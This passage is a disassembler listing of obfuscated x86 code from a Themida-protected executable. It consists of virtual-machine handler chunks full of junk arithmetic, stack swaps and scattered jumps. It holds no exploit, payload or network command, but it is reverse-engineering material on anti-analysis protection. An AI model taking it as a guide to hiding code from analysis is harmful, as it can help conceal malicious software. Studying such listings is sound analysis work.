		jmp	loc_574B50
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_574BC4:				; CODE XREF: sub_571088-AAD8j
		push	esi
		jmp	loc_573150
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_574BCA:				; CODE XREF: sub_5666C3+12C7j
		xor	ecx, 662FD1ACh
		sub	eax, ecx
		jmp	loc_562F52
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_574BD7:				; CODE XREF: sub_567CF5+745Cj
		pop	esp
		shl	byte ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_574BE1:				; CODE XREF: sub_571C0A-C257j
		sub	ebx, ebp
		pop	ebp
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+0]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_571C0A
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_574BEB:				; CODE XREF: sub_567D31-21ECj
		push	635Ch
		jmp	loc_569A44
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561C21


loc_574BF5:				; CODE XREF: sub_561C21+1353Aj
		xor	ch, 8
		shl	ch, 4
		shl	ch, 6
		jmp	loc_56EC45
; END OF FUNCTION CHUNK	FOR sub_561C21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567049


loc_574C03:				; CODE XREF: sub_567049-431Ej
		pop	edx
		add	ebp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		pop	[esp-0Ch+arg_4]
		sub	esp, 4
		mov	[esp-0Ch+arg_4], ebp
		push	1391h
		mov	[esp-8+arg_0], ebx
		pop	ebp
		push	[esp-0Ch+arg_4]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_560C7C
; END OF FUNCTION CHUNK	FOR sub_567049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_574C3A:				; CODE XREF: sub_564D26+F8D3j
		xor	edx, [esp+0]
		jmp	loc_56A54A
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_574C42:				; CODE XREF: sub_571088-EDFCj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_E+2]
		pop	esp
		mov	[esp+8+var_8], edx
		mov	dh, 66h
		shr	dh, 4
		push	4D5Ch
		mov	[esp+0Ch+var_E+2], ebx
		jmp	loc_565ECF
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A423


loc_574C67:				; CODE XREF: sub_56A423-864Cj
		pop	esi
		jmp	loc_56C95D
; END OF FUNCTION CHUNK	FOR sub_56A423

; =============== S U B	R O U T	I N E =======================================



sub_574C6D	proc near		; CODE XREF: sub_5683C0+272Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005634BF SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056AD1A SIZE 00000014 BYTES

		push	ebx
		mov	ebx, 0F14224Eh
		jmp	loc_5634BF
sub_574C6D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_574C78:				; CODE XREF: sub_561418+1464j
		pop	esi
		push	ebx
		mov	ebx, 4
		add	esi, 30C3134Ah
		add	esi, ebx
		jmp	loc_56CA11
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_574C8C:				; CODE XREF: sub_563A7F+7DD5j
		mov	ebx, [esp+0Ah+var_C+2]
		add	esp, 4
		not	ebx
		add	ebx, 8C35B234h
		mov	ecx, ebx
		mov	ebx, [esp+6+var_8+2]
		push	ebx
		jmp	loc_565E64
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B310


loc_574CA8:				; CODE XREF: sub_56B310+15j
		push	edi
		mov	edi, 1A382947h
		xor	ebp, edi
		pop	edi
		mov	eax, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		jmp	loc_567AD4
; END OF FUNCTION CHUNK	FOR sub_56B310

; =============== S U B	R O U T	I N E =======================================



sub_574CBE	proc near		; DATA XREF: Themida_:0055FE28o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005636EC SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00563E57 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564842 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 00564CC0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00569AA3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A929 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056AEDE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B859 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056CBC6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CED2 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056EB15 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056EEBE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005725F9 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00572639 SIZE 00000008 BYTES

		lodsd
		jmp	loc_5636EC
sub_574CBE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_574CC4:				; CODE XREF: sub_563A7F+7407j
		dec	cl
		push	dx
		push	eax
		jmp	loc_573491
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569D5F


loc_574CCE:				; CODE XREF: sub_569D5F+6BFj
		add	al, dl
		push	ecx
		mov	cl, 57h
		jmp	loc_56AAA2
; END OF FUNCTION CHUNK	FOR sub_569D5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AE4B


loc_574CD8:				; CODE XREF: sub_56AE4B+148Aj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56AE4B

; =============== S U B	R O U T	I N E =======================================



sub_574CDD	proc near		; CODE XREF: sub_564BD0+23j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00560A09 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00560F3E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056362B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00563897 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005643F1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005656D9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00567924 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00567C9E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005693D1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056A4F5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056BDC5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056DB9D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056DE0B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056DEDD SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056EB58 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F5DD SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00573C2B SIZE 00000033 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_560F3E
sub_574CDD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_574CE8:				; CODE XREF: sub_561027+12251j
		pop	esi
		xor	edi, 3C5E6C49h
		push	esi
		mov	esi, 710E391Bh
		jmp	loc_567019
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1F0


loc_574CFA:				; CODE XREF: sub_56F1F0-82A0j
		dec	ebp
		add	ebp, 0C3899866h
		jmp	loc_562931
; END OF FUNCTION CHUNK	FOR sub_56F1F0
; ---------------------------------------------------------------------------


loc_574D06:				; CODE XREF: Themida_:0056730Bj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56BA60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_574D14:				; CODE XREF: sub_5733CA+Fj
		and	ebp, 7F7722F0h
		shr	ebp, 2
		jmp	loc_570E92
; END OF FUNCTION CHUNK	FOR sub_5733CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_574D22:				; CODE XREF: sub_568E5C-6B76j
		not	edx
		xor	edx, 6CD75109h
		dec	edx
		sub	edx, 0D7013C42h
		sub	ebx, edx
		jmp	loc_56C127
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57377E


loc_574D38:				; CODE XREF: sub_57377E+19j
		mov	esi, edx
		pop	edx
		push	0E607E126h
		pop	ebp
		push	ecx
		mov	ecx, 3634797h
		add	ebp, ecx
		pop	ecx
		sub	ebp, 359525EFh
		add	ebp, esi
		add	ebp, 359525EFh
		jmp	loc_5611C6
; END OF FUNCTION CHUNK	FOR sub_57377E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_574D5D:				; CODE XREF: sub_5678CB+B2EFj
		sub	al, dl
		pop	dx
		jmp	loc_560197
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_574D66:				; CODE XREF: sub_56C83E+21C2j
		dec	ebx
		push	ebp
		mov	ebp, 39566A2Fh
		jmp	loc_56435A
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_574D72:				; CODE XREF: sub_57549C-3E01j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_561BA4
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_574D82:				; CODE XREF: sub_575315-E422j
		mov	esp, [esp-4+arg_0]
		dec	word ptr [esp-4+arg_0]
		pushf
		jmp	loc_567B70
; END OF FUNCTION CHUNK	FOR sub_575315

; =============== S U B	R O U T	I N E =======================================



sub_574D8F	proc near		; CODE XREF: sub_563819-20B7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056A920 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056BCCC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056D2AB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057357D SIZE 00000023 BYTES

		push	ebp
		push	ebx
		push	1FE86997h
		pop	ebx
		not	ebx
		add	ebx, 1FE8699Ch
		mov	ebp, ebx
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		jmp	loc_57357D
sub_574D8F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_574DAC:				; CODE XREF: sub_563FA2+6D6Bj
		add	esp, 4
		xchg	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp-4+arg_0], esi
		push	ecx
		jmp	loc_5695DD
; END OF FUNCTION CHUNK	FOR sub_563FA2

; =============== S U B	R O U T	I N E =======================================



sub_574DC1	proc near		; DATA XREF: Themida_:0055FE74o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560356 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005618B2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005658EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566653 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056724C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005684E3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056B3EF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C322 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570787 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00574F40 SIZE 00000040 BYTES

		lodsd
		push	6D81h
		mov	[esp+4+var_4], ebp
		push	37E73747h
		jmp	loc_570787
sub_574DC1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_574DD4:				; CODE XREF: sub_57354D-992Dj
		push	6E4Ch
		mov	[esp+4+var_4], ebp
		mov	ebp, 4C3878E7h
		push	eax
		mov	eax, 3DAD5532h
		shl	eax, 6
		xor	eax, 4ECE2036h
		add	eax, 742B26h
		jmp	loc_562703
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_574DF9:				; CODE XREF: sub_560EA2+A963j
		add	ebp, 7946D0D2h
		or	ebp, 56F10355h
		xor	ebp, 2B1126EEh
		and	ebp, 4ABF0970h
		add	ebp, 459E75B0h
		add	ebp, 0F28BE8F5h
		sub	eax, ebp
		pop	ebp
		sub	eax, 9846C03h
		jmp	loc_57436C
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_574E2A:				; CODE XREF: sub_574304-B332j
		push	4A110340h
		pop	ebp
		shl	ebp, 2
		xor	ebp, 38D70E15h
		jmp	loc_5710B9
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_574E3E:				; CODE XREF: sub_568E5C-48FBj
		mov	ebp, [esp+0]
		jmp	loc_571D43
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_574E46:				; CODE XREF: sub_56351E+11DF2j
		mov	edi, ecx
		jmp	loc_56AAF2
; END OF FUNCTION CHUNK	FOR sub_56351E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_574E4D:				; CODE XREF: sub_56FA15-84C7j
		push	eax
		mov	al, 0E2h
		mov	dl, 0F1h
		jmp	loc_5718F9
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_574E57:				; CODE XREF: sub_5690E8+3F03j
		mov	edx, 0FFFFFFFFh
		sub	eax, edx
		pop	edx
		add	eax, 0A030FF4h
		sub	eax, 291A0535h
		shl	eax, 8
		xor	eax, 434E5A35h
		xor	eax, 84D68185h
		mov	ecx, eax
		pop	eax
		neg	ecx
		push	eax
		mov	eax, 7B2A7B21h
		or	eax, 6AA96485h
		shl	eax, 5
		jmp	loc_57386C
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5731F9


loc_574E8E:				; CODE XREF: sub_5731F9-107A3j
		sub	byte ptr [esp+4+var_4],	bl
		mov	bl, byte ptr [esp+4+var_4]
		jmp	sub_5638E4
; END OF FUNCTION CHUNK	FOR sub_5731F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_574E99:				; CODE XREF: sub_569DB5-6C17j
		push	esi
		mov	esi, 1E1909DEh
		sub	esi, 727A5F7Bh
		xor	esi, 0AB9EAA67h
		sub	ebp, 56D25D86h
		sub	ebp, 62D83B92h
		add	ebp, esi
		add	ebp, 62D83B92h
		push	edx
		mov	edx, 6C537046h
		xor	edx, 3A812DC0h
		add	ebp, edx
		jmp	loc_571AAB
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_574ED2:				; CODE XREF: sub_5685B2-4E25j
		pop	ecx
		dec	ebp
		shl	ebp, 5
		and	ebp, 13B76241h
		sub	ebp, 0D5EAB50Bh
		jmp	loc_5637DE
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_574EE8:				; CODE XREF: sub_571890-FDA6j
		mov	[esp+8+var_8], esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_56F355
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_574EFE:				; CODE XREF: sub_569CBC-6856j
		mov	esp, [esp+4+var_4]
		mov	[esp+0], ebx
		mov	ebx, esp
		jmp	loc_566CE2
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56264C


loc_574F0B:				; CODE XREF: sub_56264C+1j
		sub	eax, 637F576Dh
		push	esi
		jmp	loc_56984D
; END OF FUNCTION CHUNK	FOR sub_56264C

; =============== S U B	R O U T	I N E =======================================



sub_574F16	proc near		; DATA XREF: Themida_:0055FD40o

var_12		= dword	ptr -12h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= dword	ptr -6
var_2		= word ptr -2

; FUNCTION CHUNK AT 0056015D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561B1A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00562498 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005628FD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00563532 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005657BB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00566506 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056683D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056694D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00566B50 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00567358 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568992 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568E37 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569438 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056A005 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A1EE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B6A5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056C618 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056D4FB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056DE6B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056F860 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00570474 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005706FE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005724D3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00573E58 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057400C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0057451A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00574B50 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00574B9E SIZE 00000026 BYTES

		lodsb
		xor	al, bl
		jmp	loc_56015D
sub_574F16	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_574F1E:				; CODE XREF: sub_5687A3+7103j
		push	edi
		mov	edi, 5396068h
		add	ebx, edi
		pop	edi
		xor	ecx, ebx
		pop	ebx
		sub	ebp, 73EB6D1Bh
		add	ebp, ecx
		push	esi
		push	edx
		mov	edx, 243B7B4Eh
		mov	esi, edx
		jmp	loc_5650C3
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574DC1


loc_574F40:				; CODE XREF: sub_574DC1-F4D2j
		mov	ecx, 4F123E9Ah
		dec	ecx
		inc	ecx
		or	ecx, 1AC19D9h
		shl	ecx, 6
		or	ecx, 6BFE3FEDh
		sub	ecx, 0DE5BBFA5h
		sub	eax, ecx
		pop	ecx
		pop	ebp
		add	eax, 5DCD4518h
		push	edx
		mov	edx, 59E23057h
		sub	eax, edx
		pop	edx
		push	3462h
		mov	[esp+8+var_8], ebp
		mov	ebp, 44B822D8h
		jmp	loc_560356
; END OF FUNCTION CHUNK	FOR sub_574DC1
; ---------------------------------------------------------------------------


loc_574F80:				; CODE XREF: Themida_:0056E156j
		push	ebx
		jmp	loc_56A93A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD36


loc_574F86:				; CODE XREF: sub_56BD36+80EAj
		push	esi
		mov	esi, 4012075Ch
		neg	esi
		xor	esi, 4BBD388Eh
		add	esi, 0BAF3FDAh
		jmp	loc_574963
; END OF FUNCTION CHUNK	FOR sub_56BD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_574F9F:				; CODE XREF: sub_56A7FB-7E7Aj
		push	ecx
		jmp	loc_5674F7
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680AC


loc_574FA5:				; CODE XREF: sub_5680AC-5A4Ej
		pop	ebx
		xor	eax, [esp-4+arg_0]
		jmp	loc_575026
; END OF FUNCTION CHUNK	FOR sub_5680AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_574FAE:				; CODE XREF: sub_570CE4+323Ej
		inc	edx
		add	edx, 3FD4EF18h
		xor	eax, edx
		jmp	loc_56A706
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_574FBC:				; CODE XREF: sub_563A7F+BDD4j
		neg	ecx
		sub	ecx, 343D3141h
		jmp	loc_56E8C8
; END OF FUNCTION CHUNK	FOR sub_563A7F

; =============== S U B	R O U T	I N E =======================================



sub_574FC9	proc near		; DATA XREF: Themida_:0055FE34o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560F50 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567AFB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056905F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C0B9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056D1B6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D68D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056D701 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056DB8D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E755 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056EA5F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056EC80 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056F54D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570209 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005706C5 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00570EAE SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00572993 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00574412 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00575321 SIZE 00000007 BYTES

		mov	cx, [esp+0]
		jmp	loc_56D701
sub_574FC9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_574FD2:				; CODE XREF: sub_5678CB+8B3Dj
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 23B33548h
		jmp	loc_5753B6
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_574FE4:				; CODE XREF: sub_56638C+DECEj
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], edx
		mov	edx, esp
		push	666h
		mov	[esp+2+var_4+2], edi
		mov	edi, 4
		add	edx, edi
		push	[esp+2+var_4+2]
		jmp	loc_56258B
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_575013:				; CODE XREF: sub_569193-B0j
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		jmp	sub_57354D
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E27


loc_57501F:				; CODE XREF: sub_570E27-E1B4j
		mov	edx, esp
		jmp	sub_5673C3
; END OF FUNCTION CHUNK	FOR sub_570E27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680AC


loc_575026:				; CODE XREF: sub_5680AC+CEFDj
		xor	[esp-4+arg_0], eax
		xor	eax, [esp-4+arg_0]
		jmp	loc_573D79
; END OF FUNCTION CHUNK	FOR sub_5680AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_575031:				; CODE XREF: sub_561418+DDBEj
		pop	edi
		add	eax, 5D7D0447h
		sub	eax, esi
		sub	eax, 5D7D0447h
		push	edx
		mov	edx, 629D2441h
		inc	edx
		jmp	loc_572E79
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_57504A:				; CODE XREF: sub_56616D+4EFBj
		sub	edx, 4
		jmp	loc_56B7BA
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------


loc_575052:				; CODE XREF: Themida_:0056803Cj
		push	4540h
		mov	[esp], ecx
		mov	ecx, 7B651958h
		push	ecx
		mov	edi, [esp]
		add	esp, 4
		pop	ecx
		add	[esp+8], edi
		jmp	loc_571BF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3AF


loc_575070:				; CODE XREF: sub_56D3AF-3BB4j
		and	[esp+4+var_4], eax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_575079:				; CODE XREF: sub_5604FE+Bj
		push	esp
		pop	ecx
		push	esi
		push	ebx
		push	22D66D57h
		pop	ebx
		add	ebx, 7D6D18D0h
		add	ebx, 1DE72B87h
		shr	ebx, 4
		xor	ebx, 42B3E8B5h
		jmp	loc_571444
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_57509D:				; CODE XREF: sub_572075-35Ej
		pop	[esp+0Ch+var_C]
		pop	esp
		mov	[esp+4+var_4], edx
		push	4
		pop	edx
		sub	edi, 75E214F5h
		add	edi, 48EC6805h
		add	edi, edx
		sub	edi, 48EC6805h
		add	edi, 75E214F5h
		mov	edx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_56653B
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_5750D2:				; CODE XREF: sub_56C38F-2FD0j
		pop	edi
		xor	ebp, 21C91CCDh
		jmp	loc_56202E
; END OF FUNCTION CHUNK	FOR sub_56C38F

; =============== S U B	R O U T	I N E =======================================



sub_5750DE	proc near		; CODE XREF: sub_56513E+F2CFj

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0056413C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00565F66 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00567692 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056DCA2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005704CA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005743C8 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 7AF70375h
		xor	edi, 5CAB6A3Ch
		add	edi, 9EF63622h
		add	ebp, 276D3581h
		jmp	loc_567692
sub_5750DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_575103:				; CODE XREF: sub_561027+B260j
		pop	ebx
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		push	esi
		jmp	loc_5737D5
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_575110:				; CODE XREF: sub_5666C3+96Fj
		push	edx
		mov	edx, 1ABBAE04h
		sub	edi, edx
		pop	edx
		and	ebp, edi
		pop	edi
